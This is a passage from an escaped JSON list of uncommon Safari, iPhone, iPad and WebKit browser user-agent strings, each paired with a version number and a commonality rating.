Intel Mac OS X 10_7) AppleWebKit\\/534.16+ (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU OS 4_2_1 like Mac OS X) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/5.0.3 Mobile\\/8B5097d Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E5233a Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/531.21.8 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit\\/418.8 (KHTML, like Gecko) Safari\\/419.3\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; xx-xx) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8A293 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/601.2.7\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.9.8 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/600.3.18 (KHTML, like Gecko) Version\\/8.0.4 Safari\\/600.4.10\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/604.1.32 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.32\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.31\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/602.4.8 (KHTML, like Gecko) Version\\/9.1.3 Safari\\/601.7.8\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 10_3_3 like Mac OS X; en-ph) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B141 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) TestQt Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (webOS\\/1.4.5; U; en-US) AppleWebKit\\/532.2 (KHTML, like Gecko) Version\\/1.0 Safari\\/532.2 Pixi\\/1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.76.4 (KHTML, like Gecko) Version\\/6.1.4 Safari\\/537.76.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; fi-fi) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit\\/601.1.46.140 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A456 Safari\\/602.1 AlohaBrowser\\/1.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/604.3.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D5057a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C114 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/9.0 Mobile Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/11.0.2 Safari\\/604.4.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/602.2.14\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 EdgiOS\\/41.41.4.0 Mobile\\/15C114 Safari\\/604.4.7\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5A347 Safari\\/525.200\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) Arena Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en-us) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; fr-fr) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8B117 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; es-es) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B500 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Coast\\/2.0.1.68788 Mobile\\/11B554a Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6; fr-fr) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit\\/531.21.11 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/604.3.5 (KHTML, like Gecko) WebClip\\/13604.3.5 Safari\\/13604.3.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/604.4.6 (KHTML, like Gecko) Version\\/11.0.2 Safari\\/604.4.6\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Safari\\/522.0\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11D257 Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit\\/601.1.39 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A4305g Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Version\\/4.0.5 Safari\\/531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/538.1 (KHTML, like Gecko) Tableau\\/10.2 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.4.4 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.4.4\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_1 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Coast\\/2.0.5.71150 Mobile\\/11D167 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_0_2 like Mac OS X) Mac OS X\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11A501 Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/602.2.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/538.1 (KHTML, like Gecko) fancybrowser Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11D201 Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ko-kr) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/534.55.3 (KHTML, like Gecko) Version\\/5.1.5 Safari\\/534.55.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.50 (KHTML, like Gecko) Version\\/5.1 Safari\\/534.50\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Mobile\\/13G36 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit\\/525.28.3 (KHTML, like Gecko) Version\\/3.2.3 Safari\\/525.28.3\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; sv-se) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 41 like Mac OS X; fr-CA) AppleWebKit\\/532.9 (KHTML like Gecko) Version\\/4.0.5 Mobile\\/8B118 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X) AppleWebKit\\/538.1 (KHTML, like Gecko) Tableau Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) 63.0.3239 Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5372a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit\\/533.20.25 (KHTML, like Gecko) Version\\/5.0.4 Safari\\/533.20.27 FBSMTWB\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B440 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"3.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X; hu-hu) AppleWebKit\\/525.27.1 (KHTML, like Gecko) Version\\/3.2.1 Safari\\/525.27.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.74.9 (KHTML, like Gecko) Version\\/6.1.2 Safari\\/537.74.9\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.78.2 (KHTML, like Gecko) WebClip\\/9537.85.14.10 Safari\\/9537.85.14.17\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 6_1 like Mac OS X; en-us) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/6.0.5 Mobile\\/8B117 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 2_0_1 like Mac OS X; ja-jp) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5B108 Safari\\/525.20\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; PPC Mac OS X 10_10_5) AppleWebKit\\/602.4.8 (KHTML, like Gecko) Version\\/10.0.3 Safari\\/602.4.8\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; fr-fr) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/603.1.10 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.10\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8B117 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; ru; CPU iPhone OS 4_2_1 like Mac OS X; ru) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148a Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"3.2\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\\/525.27.1 (KHTML, like Gecko) Version\\/3.2.1 Safari\\/525.27.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3.2\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/525.27.1 (KHTML, like Gecko) Version\\/3.2.1 Safari\\/525.27.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A372 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Mobile\\/14B150 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit\\/533.16 (KHTML, like Gecko) Version\\/5.0 Safari\\/533.16\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0(iPad; CPU OS 6_0 like Mac OS X) AppleWebKit\\/536.26(KHTML, like Gecko) Version\\/6.0 Mobile\\/10A5355d Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/603.1.11 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.11\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A406 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Mobile\\/13F69 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/533.20 (KHTML, like Gecko) Version\\/5.0.4 Safari\\/533.20\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Safari\\/604.1.38\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_9_5 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12D508 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/603.1.29 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit\\/600.3.10 (KHTML, like Gecko) Version\\/8.0.3 Safari\\/600.3.10\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.0; en-en) AppleWebKit\\/533.16 (KHTML, like Gecko) Version\\/4.1 Safari\\/533.16\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.9.8 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_2 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8H8 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_1 like Mac OS X) AppleWebKit\\/604.3.1 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B5066f Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit\\/420.1 (KHTML, like Gecko) Version\\/3.0 Mobile\\/4A102 Safari\\/419 (United States)\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 6_0 like Mac OS X; en-us) AppleWebKit\\/530.18 (KHTML, like Gecko) Version\\/5.0 Mobile\\/7A341 Safari\\/530.16\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/534.50 (KHTML, like Gecko) Version\\/5.1 Safari\\/534.50\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en_US) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; pt-br) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.2 Safari\\/525.20.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version 10.1.1 Safari\\/603.2.4\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13C71 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.3\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.3 Mobile\\/14E277 Safari\\/603.1.30\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nb-no) AppleWebKit\\/533.17.8 (KHTML, like Gecko) Version\\/5.0.1 Safari\\/533.17.8\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit\\/536.15 (KHTML like Gecko) Version\\/6.0 Safari\\/536.16\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.3 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14D15 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 EdgiOS\\/41.6.0.0 Mobile\\/15C153 Safari\\/604.4.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0(iPad; U; CPU OS 5_0 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8F191 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; es-es) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10102) AppleWebKit\\/640.3.18 (KHTML like Gecko) Version\\/10.0.2 Safari\\/640.3.18\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B143 Safari\\/8536.25,gzip(gfe)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit\\/604.1.21 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.21\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_0_5 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11B601 Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit\\/525.18 (KHTML, like Gecko) Version\\/3.1.2 Safari\\/525.20.1\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/537.76.4 (KHTML like Gecko) Version\\/7.0.4 Safari\\/537.76.4\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A346 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B5130b Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) CasperJS\\/1.1.4+PhantomJS\\/2.1.1 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"safari-mac\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; tr-tr) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone 